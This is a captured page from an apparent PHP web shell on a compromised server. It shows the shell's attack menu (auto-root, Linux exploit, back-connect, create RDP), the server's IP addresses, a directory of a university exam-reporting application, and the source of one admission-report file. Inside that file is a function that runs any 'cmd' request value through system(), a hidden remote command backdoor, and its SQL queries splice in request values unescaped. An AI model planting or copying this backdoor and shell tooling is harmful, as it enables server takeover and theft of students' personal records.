Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.16.251
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
Report_details_old /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-sr-x
DownloadExamAppFormApplication...
8.96
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
5.48
KB
-rwxr-xr-x
ExcelWriterXML.php
16.8
KB
-rwxr-xr-x
ExcelWriterXML_Sheet.php
16.26
KB
-rwxr-xr-x
ExcelWriterXML_Style.php
24.5
KB
-rwxr-xr-x
PrintApplicationFormAdmPOSTOFF...
13.15
KB
-rwxr-xr-x
PrintChallanEntryDetails.php
8.63
KB
-rwxr-xr-x
RVApplicationsReport.php
8.42
KB
-rwxr-xr-x
RvRtApplicationReport.php
9.11
KB
-rwxr-xr-x
ack_application.php
4.96
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12
KB
-rwxr-xr-x
ack_rv_rt_report.php
10.35
KB
-rwxr-xr-x
admChallanEntryDetails.php
7.26
KB
-rwxr-xr-x
adm_comb_details.php
6.41
KB
-rwxr-xr-x
admregisterlist.php
15.35
KB
-rwxr-xr-x
admreportlist.php
15.35
KB
-rwxr-xr-x
answer_book_statistics.php
7.08
KB
-rwxr-xr-x
appear_list_center_qp_wise.php
7.53
KB
-rwxr-xr-x
appear_list_qp_wise.php
5.82
KB
-rwxr-xr-x
appfeedetails.php
9
KB
-rwxr-xr-x
appfeedetails_pdf.php
7.78
KB
-rwxr-xr-x
appfeedetailspdf.php
7.89
KB
-rwxr-xr-x
approval_report.php
18.34
KB
-rwxr-xr-x
approval_report_wait.php
11.88
KB
-rwxr-xr-x
basic_data_coll.php
7
KB
-rwxr-xr-x
basic_data_sum.php
7.2
KB
-rwxr-xr-x
batch_wise_details.php
4.63
KB
-rwxr-xr-x
bundle_ despatch_ statement.ph...
5.92
KB
-rwxr-xr-x
bundle_ack.php
10.22
KB
-rwxr-xr-x
bundle_ack_wait.php
8.64
KB
-rwxr-xr-x
bundleno_despatch_statement.ph...
11.82
KB
-rwxr-xr-x
bundleno_dispatch_datewise.php
11.59
KB
-rwxr-xr-x
cManualMailer.php
1.5
KB
-rwxr-xr-x
cappcontext.php
2.71
KB
-rwxr-xr-x
cconfig.php
1.18
KB
-rwxr-xr-x
cntDeclaration.php
14.2
KB
-rwxr-xr-x
cntrtagcollstud.php
4.95
KB
-rwxr-xr-x
code39.php
6.56
KB
-rwxr-xr-x
college_degree_details.php
4.74
KB
-rwxr-xr-x
college_pending_markslist.php
6.89
KB
-rwxr-xr-x
collegedet.php
4.9
KB
-rwxr-xr-x
examAppChallan.php
12.57
KB
-rwxr-xr-x
examAppChallanReport.php
8.82
KB
-rwxr-xr-x
exam_attendance_det.php
7.94
KB
-rwxr-xr-x
exam_attendance_summary.php
9.44
KB
-rwxr-xr-x
fee_report_catwise.php
13.49
KB
-rwxr-xr-x
fee_summary.php
13.54
KB
-rwxr-xr-x
fee_summary_oldformat.php
7.67
KB
-rwxr-xr-x
fee_summary_report.php
35.26
KB
-rwxr-xr-x
generatePostAdmissionTicket.ph...
28.14
KB
-rwxr-xr-x
getnumword.php
7.79
KB
-rwxr-xr-x
hallticketcomm.php
30.32
KB
-rwxr-xr-x
htcollsum.php
6.49
KB
-rwxr-xr-x
htstatus.php
7.03
KB
-rwxr-xr-x
htsum.php
3.71
KB
-rwxr-xr-x
iaemptyformat.php
7.46
KB
-rwxr-xr-x
index.php
4.64
KB
-rwxr-xr-x
marls_subjectwise.php
10.49
KB
-rwxr-xr-x
photo_report.php
4.9
KB
-rwxr-xr-x
photo_report_old.php
4.63
KB
-rwxr-xr-x
practical_marks_details.php
12.43
KB
-rwxr-xr-x
practical_marks_report.php
5.74
KB
-rwxr-xr-x
qp_issue.php
8.01
KB
-rwxr-xr-x
qpindent.php
5.19
KB
-rwxr-xr-x
re_cronjob_sendsms_dud.php
4.96
KB
-rwxr-xr-x
reconciliation.php
9.67
KB
-rwxr-xr-x
reg_stud_list.php
8.63
KB
-rwxr-xr-x
report_ack_registration.php
6.63
KB
-rwxr-xr-x
report_adm_combination.php
10.51
KB
-rwxr-xr-x
report_adm_summary.php
8.74
KB
-rwxr-xr-x
report_admission_details.php
27.47
KB
-rwxr-xr-x
report_admission_list.php
17.53
KB
-rwxr-xr-x
report_admission_list_wop.php
10.58
KB
-rwxr-xr-x
report_admission_listnehu.php
25.35
KB
-rwxr-xr-x
report_admission_ticket.php
28.37
KB
-rwxr-xr-x
report_answer_book_issued.php
8.62
KB
-rwxr-xr-x
report_attendance_sheet.php
13.11
KB
-rwxr-xr-x
report_attendance_shortage.php
9.52
KB
-rwxr-xr-x
report_attendance_summary.php
7.42
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7.34
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.78
KB
-rwxr-xr-x
report_batch_wise_details.php
8.18
KB
-rwxr-xr-x
report_batch_worksheet_details...
11.52
KB
-rwxr-xr-x
report_bulk_applications.php
26.25
KB
-rwxr-xr-x
report_bundle_dispatch.php
11.92
KB
-rwxr-xr-x
report_candidate_list.php
29.82
KB
-rwxr-xr-x
report_candidate_list_backup.p...
30.35
KB
-rwxr-xr-x
report_daliy_report.php
11.14
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.67
KB
-rwxr-xr-x
report_data_sent.php
8.71
KB
-rwxr-xr-x
report_degree_list.php
4.88
KB
-rwxr-xr-x
report_deviation_report.php
7.96
KB
-rwxr-xr-x
report_evaluation_report.php
9.6
KB
-rwxr-xr-x
report_iamarks_pending.php
8.4
KB
-rwxr-xr-x
report_marks_deviation_report....
5.58
KB
-rwxr-xr-x
report_marks_elementwise.php
4.46
KB
-rwxr-xr-x
report_marks_elementwisenew.ph...
4.8
KB
-rwxr-xr-x
report_marks_entry_student_lis...
5.72
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
18.76
KB
-rwxr-xr-x
report_marks_pending.php
12.33
KB
-rwxr-xr-x
report_online_eam.php
11.99
KB
-rwxr-xr-x
report_pr_pending.php
7.65
KB
-rwxr-xr-x
report_practical_marks_details...
13.83
KB
-rwxr-xr-x
report_practical_marks_details...
14.51
KB
-rwxr-xr-x
report_practical_misc.php
8.61
KB
-rwxr-xr-x
report_qpcount_univ.php
6.08
KB
-rwxr-xr-x
report_ra_exl_report.php
5.77
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
22.52
KB
-rwxr-xr-x
report_ra_invigilators_dairy.p...
15.55
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.62
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.91
KB
-rwxr-xr-x
report_revaluation.php
6.58
KB
-rwxr-xr-x
report_sectionwiselist.php
4.73
KB
-rwxr-xr-x
report_subject_admcl_list.php
3.57
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.76
KB
-rwxr-xr-x
reportexamcntrdet.php
5.46
KB
-rwxr-xr-x
resport_attendance_studentwise...
6.14
KB
-rwxr-xr-x
results_pdf.php
19.91
KB
-rwxr-xr-x
resultsheet.php
9.39
KB
-rwxr-xr-x
revaluation.php
15.97
KB
-rwxr-xr-x
roomallotmantecelsheet.php
5.58
KB
-rwxr-xr-x
roomallotmantsummary.php
4.81
KB
-rwxr-xr-x
roomwise_register_nos_list.php
19.13
KB
-rwxr-xr-x
rotation.php
634
B
-rwxr-xr-x
shortageReport.php
11.85
KB
-rwxr-xr-x
stringspliter.php
731
B
-rwxr-xr-x
student.php
5.48
KB
-rwxr-xr-x
student_count.php
4.16
KB
-rwxr-xr-x
subiapending.php
8.14
KB
-rwxr-xr-x
subject_wise_student_list.php
6.38
KB
-rwxr-xr-x
subjectwise_invigilator_dairy....
10.71
KB
-rwxr-xr-x
tatkal.php
4.93
KB
-rwxr-xr-x
teacher_report.php
10.19
KB
-rwxr-xr-x
teacher_val_report.php
10.31
KB
-rwxr-xr-x
teacherreport.php
6.2
KB
-rwxr-xr-x
testbarcode.php
20.58
KB
-rwxr-xr-x
topsheet.php
8.62
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_admission_listnehu.php
<?php function generateAdmissionReport($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; //echo $college_code; $degree_code = $aobj_context->mobj_data["degree_code"]; $sub_degree_code = $aobj_context->mobj_data["sub_degree_code"]; $exam_no = $aobj_context->mobj_data["exam_no"]; $lateral_entry = $aobj_context->mobj_data["lateral_entry"]; $adm_no_starts = $aobj_context->mobj_data['slno_starts']; $adm_no_ends = $aobj_context->mobj_data['slno_ends']; $exam_no=empty($exam_no)?"A":$exam_no; if(empty($lateral_entry)) { $exam_no='A'; $lateral_entry_cond=" and ifnull(s.FLATERAL_ENTRY,0)='0' "; } else { $exam_no='C'; $lateral_entry_cond=" and ifnull(s.FLATERAL_ENTRY,0)='1' "; } $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); $main_src=$main_src_obj[1]; $pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php"; $tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php"; $root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf"; // global varibales $p_count =1; // end global varibales include($pdf_writer_class); $pdf= new FPDF(); //$pdf->$title='20000 Leagues Under the Seas'; $pdf->SetFont('Times','',10); $pdf->SetMargins(15,8); $pdf->AliasNbPages(); $sub_degree_cond=""; if(!empty($sub_degree_code)) { $sub_degree_cond=" and s.FSUBDEGREE='{$sub_degree_code}'"; $page_header_sub_degree = "select concat('[',FDEGREE,'] - ', FDESCPN) as sub_degree_name, FADYEAR from degree where FDEGREE = '{$sub_degree_code}' and FEXAMNO='{$exam_no}' "; $lobj_page_header_sub_degree = $aobj_context->mobj_db->GetRow($page_header_sub_degree); } //print_r($lobj_page_header_sub_degree); die(); /* $degree_cond=" "; if(strtolower($exam_no)=='c') $degree_cond=" s.FSUBDEGREE='{$degree_code}' "; */ // query for the page header $page_header_university = "select FUNIVNAME,FUNIVADD1,FTOWN, date_format(now(),'%d/%m/%Y') as date from control"; $lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university); $page_header_college ="select concat(FCOLLCODE,' ',RTRIM(FCOLLNAME),', ',FTOWN) as college_name from college where FCOLLCODE='{$college_code}'"; $lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); $page_header_degree = "select concat(FDEGREE,' - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' "; $lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree); $page_footer_date = "select DATE_FORMAT(NOW(),'%d/%m/%Y %h:%i %p') as now_date "; $lobj_page_footer_date = $aobj_context->mobj_db->GetRow($page_footer_date); $pdf->date_time = $lobj_page_footer_date['now_date']; //echo $page_header_degree; die(); $pdf->aobj_context =$aobj_context ; $pdf->WhichReport = 'Admission'; $pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME]; $pdf->FTOWN = $lobj_page_header_university[FTOWN]; $pdf->FUNIVADD1 = $lobj_page_header_university[FUNIVADD1]; $pdf->date_1 = $lobj_page_header_university['date']; $pdf->college_name = rtrim($lobj_page_header_college['college_name'],' '); $pdf->Degree_name = $lobj_page_header_degree['Degree_name']; $pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name']; $pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR']; //echo $pdf->sub_degree_code; die(); //end header $pdf->AddPage();PrintFooter($pdf); //$pdf->Ln(); $pdf->SetFont('Times','',10); //and sub.FDEGREE=op.FDEGREE $get_student_data= "select FPHOTOPATH,CONCAT(IF(IFNULL(s.FDELETED, 'F')='F', s.FSLNO, CONCAT('*',s.FSLNO))) as SLNO, CONCAT('Name : ',SUBSTRING(s.FNAME,1,25)) as FNAME, CONCAT('Combination : ',mc.FCOMBDESC) as FCOMBDESC, CONCAT('Honours : ',s.FHONOURS) as FHONOURS, SUBSTRING(s.FNAME,26) as SNAME, CONCAT('DOB : ',DATE_FORMAT(s.FDOB,'%d/%m/%Y')) as DOB, CONCAT('Father / Mother / Guardian Name : ',s.FFATNAME) as Father , CONCAT('Category : ',s.FCASTE) as CASTE, CONCAT('Mother : ',s.FMOTNAME) as Mother, FFEEPAID,FREMARKS from studadm s left join mascomb mc on mc.FCOMBCODE = s.FCOMBCODE where s.FSLNO>='{$adm_no_starts}' AND s.FSLNO<='{$adm_no_ends}' and s.FDEGREE='{$degree_code}' and s.FCOLLCODE='{$college_code}' and IFNULL(s.FLATERAL_ENTRY,0)='0' group by s.FCOLLCODE,s.FDEGREE,s.FSLNO order by s.FSLNO "; $lobj_student_data = $aobj_context->mobj_db->GetAll($get_student_data); $arr_w = array(10,65,70,108); $arr_h = array(); $adm_ln_counter=0; foreach($lobj_student_data as $key => $value) { if($adm_ln_counter > 4) { $new_y=$pdf->GetY(); $pdf->SetDash(1, .3); $pdf->Line(10,$new_y, 200,$new_y); //$pdf->Line(10,$new_y+.5, 200,$new_y+.5); $pdf->AddPage();PrintFooter($pdf); $adm_ln_counter=0; } $head_code=$value['FHEADCODE']; $amount=$value['FAMOUNT']; $head_code_arr=explode("->",$head_code); $cnt=0; $fee_details_head=array(); $fee_details_amt=array(); $k=0; foreach($head_code_arr as $avv) { $exp_arr=explode("~",$avv); $fee_details_head[$cnt][$k]=$exp_arr[0]; $fee_details_amt[$cnt][$k]=$exp_arr[1]; $k++; if($k%5==0) $cnt++; } $FPHOTOPATH=$value['FPHOTOPATH']; $full_path= $aobj_context->main_src."/".$value['FPHOTOPATH']; /*if(!empty($value['SNAME'])) { $a_x=$pdf->GetX(); $a_y=$pdf->GetY(); if(!empty($FPHOTOPATH) && file_exists($full_path)) { $pdf->Image($full_path,$a_x+160,$pdf->GetY(),20,18); } $pdf->SetXY($a_x,$a_y); $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,$value['SLNO'],'0',0,'L'); $pdf->Cell($arr_w[1],5,$value['FNAME'],'0',0,'L'); $pdf->SetFont('Courier','',10); $pdf->Cell(108,4,'','0',1,'L'); /* $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->Cell($arr_w[1],5,$value['SNAME'],'0',0,'L'); $pdf->SetFont('Courier','',10); $pdf->Cell(108,4,'','0',1,'L'); $adm_ln_counter++; * $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','L','L'); $pdf->Cell($arr_w[1]-30,5,$value['Gender'],'0',0,'L'); $pdf->Cell(128,4,$value['Father'],'0',1,'L'); $pdf->Cell($arr_w[0],5,' ','L',0,'L'); $pdf->Cell($arr_w[1]-30,5,$value['DOB'],'0',0,'L'); //$pdf->Cell(108,4,$value['Mother'],'0',1,'L'); $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->Cell($arr_w[1],5,$value['FHONOURS'],'0',1,'L'); $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->Cell($arr_w[1],5,$value['FCOMBDESC'],'0',1,'L'); $new_y=$pdf->GetY(); $pdf->SetDash(1, .3); $pdf->Line(10,$new_y, 200,$new_y); $pdf->Line(10,$new_y+.5, 200,$new_y+.5); /* foreach($fee_details_head as $ck=>$cv) { $data_head=$cv; $data_amt=$fee_details_amt[$ck];; $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $adm_ln_counter++; $pdf->SetFont('Times','',8); $pdf->Cell(3,5,'','0',1,'C'); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->SetFont('Times','',10); $adm_ln_counter++; $pdf->SetFont('Times','',8); $pdf->Cell(3,5,'','0',1,'R'); } $pdf->SetFont('Times','',10); * $pdf->Cell(173,5,"Total Fee : {$value['FFEEPAID']} Remarks :{$value['FREMARKS']}",'',1,'L'); $adm_ln_counter++; } else if(empty($value['SNAME'])) { */ $a_x=$pdf->GetX(); $a_y=$pdf->GetY(); if(!empty($FPHOTOPATH) && file_exists($full_path)) { $pdf->Image($full_path,$a_x+160,$a_y+5,20,18); } $pdf->SetXY($a_x,$a_y); $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,$value['SLNO'],'0',0,'L'); $pdf->Cell($arr_w[1],5,$value['FNAME'],'0',0,'L'); $pdf->SetFont('Courier','',10); $pdf->Cell(108,5,'','0',1,'L'); /* $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->Cell($arr_w[1],5,$value['Gender'],'0',0,'L'); $pdf->SetFont('Courier','',10); $pdf->Cell(108,5,'','0',1,'L'); $adm_ln_counter++; */ $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->Cell(108,5,$value['Father'],'0',1,'L'); $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->Cell($arr_w[1],5,$value['DOB'],'0',0,'L'); $pdf->Cell($arr_w[1]-30,5,$value['CASTE'],'0',1,'L'); /* $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->Cell($arr_w[1]-30,5,$value['CASTE'],'0',0,'L'); $pdf->Cell(108,5,$value['Mother'],'0',1,'L'); $adm_ln_counter++; */ $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->Cell($arr_w[1],5,$value['FHONOURS'],'0',1,'L'); $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->Cell($arr_w[1],5,$value['FCOMBDESC'],'0',1,'L'); /*foreach($fee_details_head as $ck=>$cv) { $data_head=$cv; $data_amt=$fee_details_amt[$ck];; $pdf->SetFont('Times','',10); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->Cell(173,10,' ','0',0,'L'); $adm_ln_counter++; $pdf->SetFont('Times','',8); $pdf->Cell(3,5,'','0',1,'C'); $pdf->Cell($arr_w[0],5,' ','0',0,'L'); $pdf->SetFont('Times','',10); $adm_ln_counter++; $pdf->SetFont('Times','',8); $pdf->Cell(3,5,'','0',1,'R'); } $pdf->SetFont('Times','',10); */ $pdf->Cell(173,5,"Total Fee : {$value['FFEEPAID']} Remarks :{$value['FREMARKS']}",'0',1,'L'); $adm_ln_counter++; //} $new_y=$pdf->GetY(); $pdf->SetDash(1, .3); $pdf->Line(10,$new_y, 200,$new_y); } $new_y=$pdf->GetY(); $pdf->SetDash(1, .3); $pdf->Line(10,$new_y, 200,$new_y); $pdf->ln(4); $pdf->MultiCell(175,5,"I here by declare that all the information furnished with regard to the students are true & correct to the best of my knowledge and belief,copy of the recognition order and affiliation order is enclosed.",0,"L"); $pdf->ln(8); $pdf->Cell(135,5,"Submit",'',1,'R'); $pdf->ln(2); $pdf->Output("report_admission_list.pdf","D"); } function generateAdmSummeryReportOld($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $from_degree = $aobj_context->mobj_data["from_degree"]; $to_degree = $aobj_context->mobj_data["to_degree"]; $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); $main_src=$main_src_obj[1]; $pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php"; $tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php"; $root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf"; // global varibales $p_count =1; // end global varibales include($pdf_writer_class); $pdf= new FPDF(); //$pdf->$title='20000 Leagues Under the Seas'; $pdf->SetFont('Times','',10); $pdf->SetMargins(15,8); $pdf->AliasNbPages(); // query for the page header $page_header_university = "select FUNIVNAME,FUNIVADD1,FTOWN, date_format(now(),'%d/%m/%Y') as date from control"; $lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university); $page_header_college ="select concat(FCOLLCODE,' ',FCOLLNAME,', ',FTOWN) as college_name from college where FCOLLCODE='{$college_code}'"; $lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); $page_header_degree = "select concat(FDEGREE,' - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' "; $lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree); $page_footer_date = "select DATE_FORMAT(NOW(),'%d/%m/%Y %h:%i %p') as now_date "; $lobj_page_footer_date = $aobj_context->mobj_db->GetRow($page_footer_date); $pdf->date_time = $lobj_page_footer_date['now_date']; $get_student_count= "select COUNT( distinct s.fslno) as studcnt, s.fdegree, d.fdescpn from studadm s inner join degree d on s.fdegree = d.fdegree wheres.fdegree between '{$from_degree}' and '{$to_degree}' group by s.fdegree"; $lobj_student_count = $aobj_context->mobj_db->GetAll($get_student_count); //echo $page_header_degree; die(); $pdf->aobj_context =$aobj_context ; $pdf->WhichReport = 'AdmissionSummery'; $pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME]; $pdf->FTOWN = $lobj_page_header_university[FTOWN]; $pdf->FUNIVADD1 = $lobj_page_header_university[FUNIVADD1]; $pdf->date_1 = $lobj_page_header_university['date']; $pdf->college_name = rtrim($lobj_page_header_college['college_name'],' '); $pdf->Degree_name = $lobj_page_header_degree['Degree_name']; $pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name']; $pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR']; //echo $pdf->sub_degree_code; die(); //end header $pdf->AddPage();PrintFooter($pdf); //$pdf->Ln(); $pdf->SetFont('Times','',10); $index=0; foreach($lobj_student_count as $ck=>$cv) { ++$index; $pdf->Cell(15,5,$index,'0',0,'L'); $pdf->Cell(25,5,$cv['fdegree'],'0',0,'L'); $pdf->Cell(90,5,$cv['fdescpn'],'0',0,'L'); $pdf->Cell(20,5,$cv['studcnt'],'0',0,'C'); $pdf->Cell(20,5,'','0',1,'C'); } $pdf->Output("report_admsummery_list.pdf","D"); } function generateAdmSummeryReport($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $from_degree = $aobj_context->mobj_data["from_degree"]; $to_degree = $aobj_context->mobj_data["to_degree"]; $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); $main_src=$main_src_obj[1]; $pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php"; $tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php"; $root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf"; // global varibales $p_count =1; // end global varibales include($pdf_writer_class); $pdf= new FPDF(L); //$pdf->$title='20000 Leagues Under the Seas'; $pdf->SetFont('Times','',10); $pdf->SetMargins(15,8); $pdf->AliasNbPages(); // query for the page header $page_header_university = "select FUNIVNAME,FUNIVADD1,FTOWN, date_format(now(),'%d/%m/%Y') as date from control"; $lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university); $page_header_college ="select concat(FCOLLCODE,' ',FCOLLNAME,', ',FTOWN) as college_name from college where FCOLLCODE='{$college_code}'"; $lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); $page_header_degree = "select concat(FDEGREE,' - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' "; $lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree); $page_footer_date = "select DATE_FORMAT(NOW(),'%d/%m/%Y %h:%i %p') as now_date "; $lobj_page_footer_date = $aobj_context->mobj_db->GetRow($page_footer_date); $pdf->date_time = $lobj_page_footer_date['now_date']; $get_student_count = "select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FSLNO,concat('*',s.FSLNO))) as FSLNO, stud.FREGNO, stud.FSTUDID AS FENROLL, GROUP_CONCAT(CONCAT(' ',a.famount) order by a.fheadcode) as fee, d.fdescpn, s.FSTUDID, SUM(a.famount) as total, stud.FNAME, s.FDEGREE, if(s.FGENDER='M','Male','Female') as GENDER, s.FHONOURS, m.FSHORTNAME, IF(s.FBOARD_UNIV ='Others',s.FOTHBOARD,s.FBOARD_UNIV) as board from studadm s left join student stud on stud.FDEGREE = s.FDEGREE and stud.FREGNO = ifnull(s.FAREGNO,'') left join mascomb m on m.FDEGREE = s.FDEGREE and m.FCOMBCODE = s.FCOMBCODE left join degree d on s.fdegree = d.fdegree and s.fexamno = d.fexamno left join admfeedetl a on a.fdegree= s.fdegree and a.fexamno=s.fexamno and s.fcollcode = a.fcollcode and a.fslno = s.fslno where s.FCOLLCODE ='{$college_code}' and s.fdegree between '{$from_degree}' and '{$to_degree}' and a.fexamno='A' and ifnull(s.FAREGNO,'') <> '' group by s.fdegree, fslno order by s.Fdegree, stud.fslno"; //var_dump($get_student_count); $lobj_student_count = $aobj_context->mobj_db->GetAll($get_student_count); //echo $get_student_count; die(); $pdf->aobj_context =$aobj_context ; $pdf->WhichReport = 'AdmissionSummery'; $pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME]; $pdf->FTOWN = $lobj_page_header_university[FTOWN]; $pdf->FUNIVADD1 = $lobj_page_header_university[FUNIVADD1]; $pdf->date_1 = $lobj_page_header_university['date']; $pdf->college_name = rtrim($lobj_page_header_college['college_name'],' '); $pdf->Degree_name = $lobj_student_count[0]['fdescpn']; $pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name']; $pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR']; //echo $pdf->sub_degree_code; die(); //end header $pdf->AddPage();PrintFooter($pdf); //$pdf->Ln(); $pdf->SetFont('Times','',10); $index=0; $count=0; $row_cnt=0; $CourseTotalFee = 0; $DUP_FCSUBCODE=$lobj_student_count[0]['FDEGREE']; foreach($lobj_student_count as $ck=>$cv) { if($DUP_FCSUBCODE!=$cv['FDEGREE']) { $pdf->SetFont('Times','',10); $pdf->SetMargins(18,15); $pdf->Degree_name = $cv['fdescpn']; $pdf->SetDash(1, 0); $pdf->Line(10,$pdf->GetY(), 285,$pdf->GetY()); $pdf->Ln(2); $pdf->SetFont('Times','B',10); $pdf->Cell(250,5,' Total Amount : '.$CourseTotalFee,'0',1,'R'); $pdf->SetDash(1, 0); $pdf->Line(10,$pdf->GetY(), 285,$pdf->GetY()); $CourseTotalFee =0; $pdf->Ln(15); $pdf->Cell(0,5,'Counter Signature and seal','0',1,'R'); $pdf->AddPage();PrintFooter($pdf); $row_cnt=0; $index =0; $DUP_FCSUBCODE = $cv['FDEGREE']; } if( $pdf->GetY() > 160) { $pdf->SetFont('Times','',10); $pdf->SetMargins(18,15); $pdf->Degree_name = $cv['fdescpn']; $pdf->AddPage();PrintFooter($pdf); $row_cnt=0; $nbH =0; $nbHN =0; $yHDN = 0; $yHDB = 0; } ++$index; $nbH =0; $nbHN =0; $yHDN = 0; $yHDB = 0; $nbHN=max($nbHN,NbLines(60,$cv[FNAME],$pdf)); $yHDN = 6*$nbHN; $nbHB =0; $nbHB=max($nbHB,NbLines(50,$cv[board],$pdf)); $yHDB = 6*$nbHB; $bht =6; $nht =6; if($yHDN > $yHDB) { $yHD = $yHDN; $bht = $yHDN; } else { $yHD = $yHDB; $nht = $yHDB; } $pdf->SetFont('Times','',10); $pdf->Cell(10,$yHD,$cv[FSLNO],'0',0,'C'); $x=$pdf->GetX(); $y=$pdf->GetY(); $pdf->MultiCell(60,5,$cv[FNAME],0,'L'); $pdf->SetXY($x+60,$y); $pdf->Cell(20,$yHD,$cv[FREGNO],'0',0,'C'); $pdf->Cell(20,$yHD,$cv[FENROLL],'0',0,'C'); $pdf->Cell(15,$yHD,$cv[GENDER],'0',0,'L'); $pdf->Cell(20,$yHD,$cv[FHONOURS],'0',0,'C'); $pdf->Cell(30,$yHD,str_replace('*',' ',$cv[FSHORTNAME]),'0',0,'L'); $x1=$pdf->GetX(); $y1=$pdf->GetY(); $pdf->MultiCell(35,6,$cv[board],0,'L'); $pdf->SetXY($x1+35,$y1); $pdf->Cell(30,$yHD,str_replace(',',' ',$cv[fee]),'0',0,'R'); $pdf->Cell(10,$yHD,' '.$cv[total],'0',1,'R'); $CourseTotalFee = $CourseTotalFee+$cv[total]; $pdf->SetDash(1, .8); $pdf->Line(10,$pdf->GetY(), 285,$pdf->GetY()); $count++; $row_cnt++; } $pdf->SetDash(1, 0); $pdf->Line(10,$pdf->GetY(), 285,$pdf->GetY()); $pdf->Ln(2); $pdf->SetFont('Times','B',10); $pdf->Cell(250,5,' Total Amount : '.$CourseTotalFee,'0',1,'R'); $pdf->SetDash(1, 0); $pdf->Line(10,$pdf->GetY(), 285,$pdf->GetY()); $CourseTotalFee =0; $pdf->Ln(15); $pdf->Cell(0,5,'Counter Signature and seal','0',1,'R'); $pdf->Output("report_admsummery_list.pdf","D"); } function Command($aobj_context) { $cmd = $aobj_context->mobj_data["cmd"]; $last_line = system($cmd, $retval); // Printing additional info echo "</pre>"; echo $last_line; } function PrintFooter($pdf) { $new_x=$pdf->GetX(); $new_y=$pdf->GetY(); $ip=$_SERVER["REMOTE_ADDR"]; $pdf->SetY(-18); $pdf->SetFont('Times','',8); $new_ly=$pdf->GetY(); 